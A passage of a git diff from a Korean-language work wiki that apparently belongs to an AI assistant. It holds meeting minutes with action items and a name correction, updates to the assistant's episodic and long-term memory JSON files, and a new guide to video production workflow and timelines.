체크할 것 — 근거: "QA 통해서 거기 돌아가는지를 체크해서 이 체크리스트 표를 만들어서... 확인해 달라고" +- **CCCOC 목업 공유**: 개발 방향 설정을 위해 현옥 팀장의 목업 링크를 전달할 것 — 근거: "현옥 팀장이 목업 만든 거을 한번 전달드릴게요." + +## 4. 오픈 이슈 +* 베이비론 JS(Babylon.js)의 비주얼 툴 지원 범위 및 활용 가능성 확인 필요. +* CCCOC 프로젝트의 데이터 업데이트 방식(DB 연동 또는 로컬 입력)에 대한 구체적인 설계. + +## 5. 액션 아이템 +| 담당 | 작업 내용 | 작업 상세 | 기한 | 상태 | +| --- | --- | --- | --- | --- | +| 참석자 3 | 웹GL 샘플 프로젝트 전달 | 플레이캔버스 기반의 가우시안 스플래팅 프로젝트를 포함하여, 검증 가능한 샘플 3개를 찾아 전달함. 근거: "가오샤스 플래트 프로젝트 2개하고 일반 프로젝트 하나 해서 3개 정도 전달드리고" | 기한미정 | 진행미정 | +| 참석자 4 | CCOC 목업 링크 전달 | 현재 개발 중인 CCOC 프로젝트의 느낌을 파악할 수 있도록 현옥 팀장의 목업 링크를 공유함. 근거: "현옥 팀장이 목업 만든 거을 한번 전달드릴게요." | 기한미정 | 기한미정 | +| 참석자 1/2 | 플랫폼 성능 테스트 및 조사 | 플레이캔버스 등 선정된 사이트의 작동 여부와 성능(초 단위)을 QA 팀을 통해 확인하도록 요청함. 근거: "QA 통해서 거기 돌아가는지를 체크해서... 초 같은 걸을 재는" | 기한미정 | 진행미정 | + +💾 **회의록 저장 완료**: `E:\Wiki\2nd\00_Raw\회의록 p 2026-06-16.md` + +ℹ️ 캘린더 자동 등록을 건너뜁니다 — Google Calendar OAuth(쓰기)가 연결되지 않았습니다. (Astra Settings → Google 섹션에서 연결) + +## Fix +사용자 정정 (Ground Truth): ccoc가 아니라 SISIHOSI야 + +## Prevention Checklist +- 같은 질문 유형에서 [사실오류] 재발 여부 확인 — 주간 회귀 테스트 대상 diff --git a/10_Wiki/Topics/memory/distillation_last_run.json b/10_Wiki/Topics/memory/distillation_last_run.json index 16590ec5..540827e5 100644 --- a/10_Wiki/Topics/memory/distillation_last_run.json +++ b/10_Wiki/Topics/memory/distillation_last_run.json @@ -1,9 +1,9 @@ { - "timestamp": 1780969449862, + "timestamp": 1781597869139, "report": { "candidateCount": 2, "promotedCount": 2, "archivedCount": 0, - "durationMs": 18 + "durationMs": 20 } } \ No newline at end of file diff --git a/10_Wiki/Topics/memory/episodes/ep_2026-05-13_회의록_작성해줘_참석자_김원일_오경득_김상엽_강성규_김성회_홍지훈_정현욱.json b/10_Wiki/Topics/memory/episodes/ep_2026-05-13_회의록_작성해줘_참석자_김원일_오경득_김상엽_강성규_김성회_홍지훈_정현욱.json index 085b5fd4..807938ba 100644 --- a/10_Wiki/Topics/memory/episodes/ep_2026-05-13_회의록_작성해줘_참석자_김원일_오경득_김상엽_강성규_김성회_홍지훈_정현욱.json +++ b/10_Wiki/Topics/memory/episodes/ep_2026-05-13_회의록_작성해줘_참석자_김원일_오경득_김상엽_강성규_김성회_홍지훈_정현욱.json @@ -23,5 +23,7 @@ "projectContext": "e:\\Wiki", "timestamp": 1778655982091, "duration": 0, - "messageCount": 101 + "messageCount": 101, + "promoted": true, + "promotedToLongTermId": "586811fb-6966-4034-b37f-32c254ba139d" } \ No newline at end of file diff --git a/10_Wiki/Topics/memory/episodes/ep_2026-05-15_tetris라는_폴더를_만들고_거기에_react_기반으로_테트리스_게임_.json b/10_Wiki/Topics/memory/episodes/ep_2026-05-15_tetris라는_폴더를_만들고_거기에_react_기반으로_테트리스_게임_.json index 5fc52c8c..d06ba897 100644 --- a/10_Wiki/Topics/memory/episodes/ep_2026-05-15_tetris라는_폴더를_만들고_거기에_react_기반으로_테트리스_게임_.json +++ b/10_Wiki/Topics/memory/episodes/ep_2026-05-15_tetris라는_폴더를_만들고_거기에_react_기반으로_테트리스_게임_.json @@ -23,5 +23,7 @@ "projectContext": "e:\\Wiki", "timestamp": 1778840072869, "duration": 0, - "messageCount": 77 + "messageCount": 77, + "promoted": true, + "promotedToLongTermId": "45e01fe1-f9dd-4704-a6ab-42747f4f9be3" } \ No newline at end of file diff --git a/10_Wiki/Topics/memory/episodes/ep_2026-06-15__stocks_discover_sector_전기_3000_5000.json b/10_Wiki/Topics/memory/episodes/ep_2026-06-15__stocks_discover_sector_전기_3000_5000.json new file mode 100644 index 00000000..92e27c48 --- /dev/null +++ b/10_Wiki/Topics/memory/episodes/ep_2026-06-15__stocks_discover_sector_전기_3000_5000.json @@ -0,0 +1,21 @@ +{ + "id": "7cb97355-59f9-4363-b99f-805f4c5939f4", + "sessionId": "task_1781492801815", + "title": "/stocks discover sector 전기 3000 5000", + "summary": "/stocks discover sector 전기 3000 5000 /stocks discover sector 2차전지 3000 5000 /stocks discover sector 2차전지 /stocks discover sector 2차전지 /stocks analysis 119850 /stocks analysis 119850", + "keyDecisions": [], + "topics": [ + "stocks", + "discover", + "sector", + "2차전지", + "3000", + "5000", + "analysis", + "119850" + ], + "projectContext": "e:\\Wiki", + "timestamp": 1781500071619, + "duration": 0, + "messageCount": 12 +} \ No newline at end of file diff --git a/10_Wiki/Topics/memory/episodes/ep_2026-06-15_우리_회사에서_할_수_있는_기술력을_설명할께_우리만_작업해서_할_수_있는.json b/10_Wiki/Topics/memory/episodes/ep_2026-06-15_우리_회사에서_할_수_있는_기술력을_설명할께_우리만_작업해서_할_수_있는.json new file mode 100644 index 00000000..7f196e69 --- /dev/null +++ b/10_Wiki/Topics/memory/episodes/ep_2026-06-15_우리_회사에서_할_수_있는_기술력을_설명할께_우리만_작업해서_할_수_있는.json @@ -0,0 +1,27 @@ +{ + "id": "efef2d61-4f98-49ff-b829-100035958163", + "sessionId": "task_1781492801815", + "title": "우리 회사에서 할 수 있는 기술력을 설명할께. 우리만 작업해서 할 수 있는 작업 위주로 주면 더 좋지...", + "summary": "시작: 우리 회사에서 할 수 있는 기술력을 설명할께. \n우리만 작업해서 할 수 있는 작업 위주로 주면 더 좋지만 안되면 우리를 중심으로 외주를 고용하는 방법도 괜찮아. \n\n우리가 할 수 → 최종: /stock discover 3000 5000", + "keyDecisions": [ + "수정: 만약 회사의 리소스를 가장 빠르게 현금화(Cash-out)하고 싶다면 [2번: 에이전시]로 시작하여 캐시카우를 확보한 뒤, 그 결과물을 기반으로 [1번: 플랫폼]을 구축하는 것이 가장 리스크가 적은 로드맵입니", + "수정: 이 프로젝트의 성공은 \"모회사가 얼마나 강력한 표준(Standard)을 제시하느냐\"에 달려 있습니다.", + "수정: 이 모든 아이디어의 핵심은 \"지식의 휘발성 방지\"입니다.", + "수정: 교육의 목적은 '지식 전달'에서 '행동 변화'로 옮겨가야 합니다.", + "수정: 계열사의 거부감을 없애기 위해, 이 프로젝트를 \"우리가 일을 해주는 것\"이 아니라 \"계열사가 돈을 벌거나 비용을 아낄 수 있는 솔루션을 우리가 제공하는 것\"으로 포지셔닝해야 합니다." + ], + "topics": [ + "영상을", + "아이디어", + "아이디어로", + "회사에서", + "우리가", + "사용하여", + "유사한", + "좋겠어" + ], + "projectContext": "e:\\Wiki", + "timestamp": 1781497356360, + "duration": 0, + "messageCount": 26 +} \ No newline at end of file diff --git a/10_Wiki/Topics/memory/episodes/ep_2026-06-16_아래_내용을_위키화_해줘_영상_만들때_걸리는_시간이야_영상_종류_영상_길.json b/10_Wiki/Topics/memory/episodes/ep_2026-06-16_아래_내용을_위키화_해줘_영상_만들때_걸리는_시간이야_영상_종류_영상_길.json new file mode 100644 index 00000000..52662c0e --- /dev/null +++ b/10_Wiki/Topics/memory/episodes/ep_2026-06-16_아래_내용을_위키화_해줘_영상_만들때_걸리는_시간이야_영상_종류_영상_길.json @@ -0,0 +1,25 @@ +{ + "id": "198df3ba-28a7-4af4-b5a6-4b4fa7a16db2", + "sessionId": "task_1781594574017", + "title": "아래 내용을 위키화 해줘. 영상 만들때 걸리는 시간이야. \t\t\t\t\t\t\t\t\t\t\t\t \t영상 종류\t영상 길...", + "summary": "시작: 아래 내용을 위키화 해줘. 영상 만들때 걸리는 시간이야. \n\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t영상 종류\t영상 길이\t영상 특징\t기획\t\t리소스 제작\t\t편집\t\t1인 기준 맨먼스\t제작 기간\t인원 → 최종: 회의록 합성 실패: Datacollect Bridge(http://127.0.0.1:3002)에 연결할 수 없습니다. Wiki/Datacollect 프로젝트에서 npm run br", + "keyDecisions": [ + "지연'이나 '스토리보드 수정' 시간은 단축됩니다. 하지만 가이드상 **'리소스 제작(키이미지/영상 확보)'과 '편집'에 각각 최소 1주씩**이 기본으로 필요하므로, 물리적인 작업 시간 자체는 줄어들기 어렵습니다.", + "수정: 1분 30초 영상 기준 예측 범위", + "유지 — 이유는 다음과 같습니다:**" + ], + "topics": [ + "vfx", + "키이미지", + "사운드", + "meet", + "리소스", + "가상의", + "위키화", + "만들때" + ], + "projectContext": "e:\\Wiki", + "timestamp": 1781597869078, + "duration": 0, + "messageCount": 25 +} \ No newline at end of file diff --git a/10_Wiki/Topics/memory/episodes/ep_2026-06-17__meet_d_meet_p_txt.json b/10_Wiki/Topics/memory/episodes/ep_2026-06-17__meet_d_meet_p_txt.json new file mode 100644 index 00000000..eac3be79 --- /dev/null +++ b/10_Wiki/Topics/memory/episodes/ep_2026-06-17__meet_d_meet_p_txt.json @@ -0,0 +1,18 @@ +{ + "id": "c7b3bcf1-3c83-4621-8448-3a9dc14557de", + "sessionId": "task_1781678118976", + "title": "/meet D:\\Meet\\p.txt", + "summary": "/meet D:\\Meet\\p.txt /meet D:\\Meet\\p.txt /meet D:\\Meet\\p.txt ccoc가 아니라 SISIHOSI야 너는 self envolving이 있자나. 앞으로 시시오시, ccoc라고 쓰지말고 SISIHOSI라고 써", + "keyDecisions": [ + "수정: **CCCOC** 프로젝트에 대한 논의를 **SISIHOSI** 프로젝트로 바로잡습니다.", + "유지 — 기존에 'CCCOC' 또는 'CCOC'로 잘못 표기되었던 프로젝트 명칭을 이제부터는 반드시 **SISIHOSI**로 통일하여 호출하고 기록하겠습니다." + ], + "topics": [ + "meet", + "txt" + ], + "projectContext": "e:\\Wiki", + "timestamp": 1781683011263, + "duration": 0, + "messageCount": 10 +} \ No newline at end of file diff --git a/10_Wiki/Topics/memory/episodes/ep_2026-06-17__meet_d_meet_q_txt.json b/10_Wiki/Topics/memory/episodes/ep_2026-06-17__meet_d_meet_q_txt.json new file mode 100644 index 00000000..9904595d --- /dev/null +++ b/10_Wiki/Topics/memory/episodes/ep_2026-06-17__meet_d_meet_q_txt.json @@ -0,0 +1,15 @@ +{ + "id": "bb982c18-6a60-4ef6-9554-80943db3f23b", + "sessionId": "task_1781678118976", + "title": "/meet D:\\Meet\\q.txt", + "summary": "/meet D:\\Meet\\q.txt /meet D:\\Meet\\q.txt", + "keyDecisions": [], + "topics": [ + "meet", + "txt" + ], + "projectContext": "e:\\Wiki", + "timestamp": 1781683477361, + "duration": 0, + "messageCount": 4 +} \ No newline at end of file diff --git a/10_Wiki/Topics/memory/episodes/ep_2026-06-18__meet_d_meet_q_txt.json b/10_Wiki/Topics/memory/episodes/ep_2026-06-18__meet_d_meet_q_txt.json new file mode 100644 index 00000000..9824b44b --- /dev/null +++ b/10_Wiki/Topics/memory/episodes/ep_2026-06-18__meet_d_meet_q_txt.json @@ -0,0 +1,26 @@ +{ + "id": "9d52b81c-2923-49ea-98f6-2002e34c0194", + "sessionId": "task_1781775264357", + "title": "/meet D:\\Meet\\q.txt", + "summary": "시작: /meet D:\\Meet\\q.txt → 최종: E:\\Wiki\\astraai 코드 리뷰를 하고 개선할 부분이 있는지 확인해줘.", + "keyDecisions": [ + "- 장바구니 연동 시 회원 인증 문제로 인한 높은 개발 작업 부담 확인", + "| 송 팀장과 협의하여 상단/하단(푸터) 유지 여부 등 테스트 버전을 제작함 근거: \"내일 탑이랑 쿠터 저쪽만 송 팀장이랑 얘기하면 될 것 같긴 해요.\" | 테스트 버전 | 내일 | 확정 |", + "(API 연동 vs 수동 운영 툴 제공)", + "(담당: 참석자 8)" + ], + "topics": [ + "meet", + "wiki", + "astraai", + "리뷰를", + "개선할", + "부분이", + "있는지", + "확인해줘" + ], + "projectContext": "e:\\Wiki", + "timestamp": 1781775358476, + "duration": 0, + "messageCount": 35 +} \ No newline at end of file diff --git a/10_Wiki/Topics/memory/episodes/ep_2026-06-19_e_wiki_astraai_설계를_분석하고_개선이_필요한_부분_의견줘_.json b/10_Wiki/Topics/memory/episodes/ep_2026-06-19_e_wiki_astraai_설계를_분석하고_개선이_필요한_부분_의견줘_.json new file mode 100644 index 00000000..2c3a37d1 --- /dev/null +++ b/10_Wiki/Topics/memory/episodes/ep_2026-06-19_e_wiki_astraai_설계를_분석하고_개선이_필요한_부분_의견줘_.json @@ -0,0 +1,24 @@ +{ + "id": "a80e59ac-5b23-4270-bf86-81929f8f911b", + "sessionId": "task_1781834834717", + "title": "E:\\Wiki\\astraai 설계를 분석하고 개선이 필요한 부분 의견줘.", + "summary": "시작: E:\\Wiki\\astraai 설계를 분석하고 개선이 필요한 부분 의견줘. → 최종: 아래 내용은 채팅 내용인데 요약해주고, 해결된 것과 해결되지 않은것. 결정이 필요한 것들이 무엇이 있는지. 그러고 Target 날짜까지 산출할 수 있으면 정리해주면 좋겠어. \n\n여", + "keyDecisions": [ + "지을 핵심 과제입니다.", + "사항 및 향후 리팩토링 계획 문서로 기록될 가치가 있습니다." + ], + "topics": [ + "2026", + "칼리버스", + "롯데백화점", + "디지털영업전략팀", + "정현욱", + "감사합니다", + "안녕하세요", + "롯데이노베이트" + ], + "projectContext": "e:\\Wiki", + "timestamp": 1781857568154, + "duration": 0, + "messageCount": 4 +} \ No newline at end of file diff --git a/10_Wiki/Topics/memory/long_term.json b/10_Wiki/Topics/memory/long_term.json index 3be345ca..23c26a53 100644 --- a/10_Wiki/Topics/memory/long_term.json +++ b/10_Wiki/Topics/memory/long_term.json @@ -8,8 +8,8 @@ "source": "session:task_1778642741077", "confidence": 0.7, "createdAt": 1778655981978, - "lastReferencedAt": 1781533561927, - "referenceCount": 35 + "lastReferencedAt": 1781775495175, + "referenceCount": 36 }, { "id": "5d44cb85-e018-468c-a7be-dbfa44546fce", @@ -18,8 +18,8 @@ "source": "session:task_1778642741077", "confidence": 0.7, "createdAt": 1778655981979, - "lastReferencedAt": 1781533561927, - "referenceCount": 37 + "lastReferencedAt": 1781775495175, + "referenceCount": 38 }, { "id": "4cb93674-fd06-4cf4-96f9-9ac2008a6b49", @@ -28,8 +28,8 @@ "source": "session:task_1778642741077", "confidence": 0.7, "createdAt": 1778655981979, - "lastReferencedAt": 1781533561927, - "referenceCount": 32 + "lastReferencedAt": 1781775495175, + "referenceCount": 33 }, { "id": "acb8373d-3a17-4266-9f7e-608349add88c", @@ -38,8 +38,8 @@ "source": "session:task_1778642741077", "confidence": 0.7, "createdAt": 1778655981986, - "lastReferencedAt": 1781533561927, - "referenceCount": 32 + "lastReferencedAt": 1781775495175, + "referenceCount": 33 }, { "id": "64b1c34d-64a0-493a-82ee-298c0fd1900f", @@ -48,8 +48,8 @@ "source": "session:task_1778642741077", "confidence": 0.7, "createdAt": 1778655981992, - "lastReferencedAt": 1781533561927, - "referenceCount": 33 + "lastReferencedAt": 1781775495175, + "referenceCount": 34 }, { "id": "2e323e3f-bd37-4b25-8cd7-d21ddee58728", @@ -58,8 +58,8 @@ "source": "session:task_1778642741077", "confidence": 0.7, "createdAt": 1778655981997, - "lastReferencedAt": 1781533561927, - "referenceCount": 27 + "lastReferencedAt": 1781775495175, + "referenceCount": 28 }, { "id": "e54c9135-67ac-4a46-b337-95af5bce61bb", @@ -88,8 +88,8 @@ "source": "session:task_1778642741077", "confidence": 0.7, "createdAt": 1778655982004, - "lastReferencedAt": 1781161507133, - "referenceCount": 3 + "lastReferencedAt": 1781834888277, + "referenceCount": 4 }, { "id": "8f248ce7-e9f8-42a9-bc4a-eadfd3534419", @@ -118,7 +118,7 @@ "source": "session:task_1778642741077", "confidence": 0.7, "createdAt": 1778655982022, - "lastReferencedAt": 1781533546507, + "lastReferencedAt": 1781594584305, "referenceCount": 15 }, { @@ -168,7 +168,7 @@ "source": "session:task_1778642741077", "confidence": 0.7, "createdAt": 1778655982028, - "lastReferencedAt": 1781533546507, + "lastReferencedAt": 1781593976846, "referenceCount": 10 }, { @@ -188,8 +188,8 @@ "source": "session:task_1778642741077", "confidence": 0.7, "createdAt": 1778655982039, - "lastReferencedAt": 1778655982039, - "referenceCount": 0 + "lastReferencedAt": 1781834888277, + "referenceCount": 1 }, { "id": "342d5547-0c51-4a0f-88df-3bc9873d481f", @@ -288,8 +288,8 @@ "source": "session:task_1778819919539", "confidence": 0.7, "createdAt": 1778840072798, - "lastReferencedAt": 1778840072798, - "referenceCount": 0 + "lastReferencedAt": 1781834888277, + "referenceCount": 1 }, { "id": "81e1c769-3dd0-4708-ba62-434d01541a3e", @@ -378,8 +378,8 @@ "source": "session:task_1778819919539", "confidence": 0.7, "createdAt": 1778840072838, - "lastReferencedAt": 1781233879537, - "referenceCount": 5 + "lastReferencedAt": 1781834888277, + "referenceCount": 7 }, { "id": "947dd1e0-a369-4023-8829-381d72a6fefd", @@ -388,7 +388,7 @@ "source": "session:task_1778819919539", "confidence": 0.7, "createdAt": 1778840072839, - "lastReferencedAt": 1781533546507, + "lastReferencedAt": 1781593976846, "referenceCount": 23 }, { @@ -398,8 +398,8 @@ "source": "session:task_1778819919539", "confidence": 0.7, "createdAt": 1778840072845, - "lastReferencedAt": 1781533546507, - "referenceCount": 18 + "lastReferencedAt": 1781775495175, + "referenceCount": 19 }, { "id": "d4804a31-585e-49bc-b6a3-4c1751dcf312", @@ -438,8 +438,8 @@ "source": "session:task_1779619484222", "confidence": 0.7, "createdAt": 1779619946611, - "lastReferencedAt": 1781354532601, - "referenceCount": 16 + "lastReferencedAt": 1781834888277, + "referenceCount": 18 }, { "id": "9b7b2ff2-a9b0-4fce-b26e-f2dba942a29a", @@ -448,8 +448,8 @@ "source": "episodic:585dd6d9-1308-44a3-b4ca-2a7c803687b1", "confidence": 0.7, "createdAt": 1780969449853, - "lastReferencedAt": 1781354532601, - "referenceCount": 18 + "lastReferencedAt": 1781834888277, + "referenceCount": 20 }, { "id": "25530cbf-6913-4784-8d7d-c189be33ec51", @@ -458,8 +458,8 @@ "source": "episodic:a4e4d26e-4fe6-4882-bf78-90a8f1c5a618", "confidence": 0.7, "createdAt": 1780969449854, - "lastReferencedAt": 1781533561927, - "referenceCount": 24 + "lastReferencedAt": 1781834888277, + "referenceCount": 26 }, { "id": "6f215df5-9cc4-4bc2-be65-9f417f98dfb4", @@ -512,9 +512,9 @@ "source": "session:task_1781165391416", "confidence": 0.7, "createdAt": 1781167677722, - "lastReferencedAt": 1781167677722, - "referenceCount": 0, - "expiresAt": 1782377277720 + "lastReferencedAt": 1781834888277, + "referenceCount": 1, + "expiresAt": 1783044488277 }, { "id": "97c10831-403a-4e37-ac22-97939aa16ae8", @@ -581,7 +581,49 @@ "lastReferencedAt": 1781358728400, "referenceCount": 0, "expiresAt": 1782568328400 + }, + { + "id": "45e01fe1-f9dd-4704-a6ab-42747f4f9be3", + "category": "episode-digest", + "content": "[2026-05-15] tetris라는 폴더를 만들고 거기에 react 기반으로 테트리스 게임 하나 만들어. 우선 만들기 전에...\n요약: 시작: tetris라는 폴더를 만들고 거기에 react 기반으로 테트리스 게임 하나 만들어. 우선 만들기 전에 기획하고 설계하고 그 다음에 고딩으로 들어가면 좋겠어 → 최종: 지금까지 우리가 작업하면서 self reflector 기능이 있는데. 잘 반영되고 있는건지 확인해주면 좋겠어.\n결정: 텍서트(Conclusion Text): Final Result]** · 현재의 `connectai`는 **'개인용 지능형 에이전트'**로서는 매우 수준 높은 설계를 가지고 있습니다. 하지만 프로젝트의 규모가 '개인의 메모'를 넘어 '방대한 데이터셋'을 다루게 될 경우, 지금의 **Ful · 받으신다고 하셔서 일단은 홀드를 한 이틀 정도 해놨었잖아요. · 참석자 7 46:53 · * 5월 19일까지 최종 수정 빌드 완료 및 외부 시연용 영상 제작 계획 수동\n토픽: 참석자, 그러니까, 이렇게, 모바일, 그래서, 같아요, 그러면, 거예요", + "source": "episodic:262cd2f1-d533-4f6c-91c2-de044b44570a", + "confidence": 0.7, + "createdAt": 1781597869128, + "lastReferencedAt": 1781834888277, + "referenceCount": 1 + }, + { + "id": "586811fb-6966-4034-b37f-32c254ba139d", + "category": "episode-digest", + "content": "[2026-05-13] 회의록 작성해줘. 참석자 : 김원일, 오경득, 김상엽, 강성규, 김성회, 홍지훈, 정현욱, 오은지, ...\n요약: 시작: 회의록 작성해줘. \n참석자 : 김원일, 오경득, 김상엽, 강성규, 김성회, 홍지훈, 정현욱, 오은지, 한예성. \n\n[내용]\n새로운 노트\n2026.05.07 목 오후 5:17 ・ 2 → 최종: 너가 방금 작성한 20260512_롯데월드_이머시브_및 _ai스타일링샵_기술 검토도 동일하게 wiki화 작업해줘.\n결정: 참석자 2 16:52 · **계정과 캐릭터 간의 연결고리만 끊어** 해당 계정으로 재접속 시 신규 캐릭터를 생성하도록 하는 방식이 가장 적절하다는 의견으로 수렴됨. · 과정을 명확하게 기록하고 싶어 하십니다. 특히, 복잡한 기술적/정책적 딜레마(계정 정지 vs. 캐릭터 삭제) 속에서 어떤 해결책이 가장 실용적인지 정리하는 것이 주요 목적입니다. · **계정과 캐릭터 간의 연결고리만 끊는 방식**이 가장 적절하다는 의견으로 수렴됨. · ** **'미니 게임' 요소를 최소화하거나 아예 제외하는 조건**으로, 360도 탐험과 영상 연출만을 포함한 가장 단순하고 핵심적인 플로우를 먼저 구체화하여 개발 난이도를 측정해야 합니다.\n토픽: 참석자, 그러니까, 이렇게, 그래서, 모바일, 그러면, 우리가, 같아요", + "source": "episodic:9ec317f3-ef96-4b09-a299-d47a647fe5cd", + "confidence": 0.7, + "createdAt": 1781597869129, + "lastReferencedAt": 1781834888277, + "referenceCount": 1 + }, + { + "id": "3af8dbcc-b679-45c8-b327-10904a72d13b", + "category": "rule", + "content": "앞으로 시시오시, ccoc라고 쓰지말고 SISIHOSI라고 써", + "source": "session:task_1781678118976", + "confidence": 0.7, + "createdAt": 1781680740263, + "lastReferencedAt": 1781680740263, + "referenceCount": 0, + "expiresAt": 1782890340263 + }, + { + "id": "a5a4012e-18c9-4ca0-9ee9-a1de41d5b08c", + "category": "rule", + "content": "앞으로 시시오시, ccoc라고 쓰지말고 SISIHOSI라고 써", + "source": "session:task_1781678118976", + "confidence": 0.7, + "createdAt": 1781683011262, + "lastReferencedAt": 1781683011262, + "referenceCount": 0, + "expiresAt": 1782892611262 } ], - "lastUpdated": 1781533615418 + "lastUpdated": 1781857568169 } \ No newline at end of file diff --git a/10_Wiki/Topics/writing/영상_제작_공정_가이드.md b/10_Wiki/Topics/writing/영상_제작_공정_가이드.md new file mode 100644 index 00000000..653ea196 --- /dev/null +++ b/10_Wiki/Topics/writing/영상_제작_공정_가이드.md @@ -0,0 +1,37 @@ +# 영상 제작 공정 및 소요 시간 가이드 + +영상 콘텐츠의 종류와 난이도에 따른 표준 제작 공정, 투입 인력, 소요 기간을 정의합니다. + +## 1. 영상 유형별 제작 사양 +각 영상은 기획, 리소스 제작(키이미지/영상, VFX, 사운드), 편집 단계로 구성되며, 유형에 따라 난이도가 상이합니다. + +| 영상 종류 | 영상 길이 | 주요 특징 및 요구 사항 | 투입 인력 (맨먼스) | 제작 기간 | 필요 인원 | +| :--- | :---: | :--- | :---: | :---: | :---: | +| **미래 전시관** | 1:30 | - 3개 옴니버스 구성 (등장인물 일관성 유지 필수)
- VFX, 자막 효과 및 영상 합성 포함
- 단기 집중 투입형 모델 | 기획(10) / 리소스(26) / 편집(3) | **3주** | 6명 | +| **CIO 세미나** | 1:30 | - 가상 AI 영상 및 연출 효과 중심
- VFX/자막/합성 상급 기술 필요
- 피드백이 많은 세미나용 영상 | 기획(15) / 리소스(35) / 편집(5) | **5주** | 3명 | +| **브랜드 필름** | 3:30 | - 가상 AI 영상 및 연출 효과 중심
- 단순 자막 위주의 구성 | 기획(10) / 리소스(45) / 편집(5) | **6주** 및 그 이상 | 3명 | + +--- + +## 2. 표준 제작 공정 (Standard Workflow) +영상 제작의 기본 단위는 각 단계별 최소 1주의 기간을 확보하는 것을 원칙으로 합니다. + +* **기획 (Planning):** 컨셉 설정 및 스토리보드 작성 (최소 1주) +* **리소스 제작 (Asset Creation):** + * 키이미지 및 영상 소스 확보 (최소 1주) + * VFX(시각효과) 및 사운드 작업 (최소 1주) +* **편집 (Post-Production):** 최종 합성 및 자막 작업 (최소 1주) + +> **[기본 제작 시간 산출 공식]** +> - **1분 이내 영상:** 기본 **3주** 소요 (기획 $\rightarrow$ 리소스 $\rightarrow$ 편집 각 1주씩) +> - **길이 연장 시:** 기본 제작 기간 이후, **1분 증가할 때마다 약 1주 추가** + +--- + +## 3. 작업 난이도 및 변수 (Complexity Factors) +다음 요소가 포함될 경우 제작 기간 및 인력 투입량이 증가합니다. + +* **일관성 유지:** 등장인물, 배경, 로고 등의 에셋 일관성 유지가 필요한 경우 +* **기술적 난이도:** 고난도 VFX 연출 및 복잡한 자막 효과 작업이 추가되는 경우 +* **레퍼런스 확보:** 가상의 연출 효과를 위해 참조할 레퍼런스 확보가 어려운 경우 (기획 단계의 리스크) +* **피드백 루프:** 최소 2회 이상의 공식 피드백 과정(프로토타입 $\rightarrow$ 중간 수정 $\rightarrow$ 최종 완성)을 공정 계획에 반영해야 함 \ No newline at end of file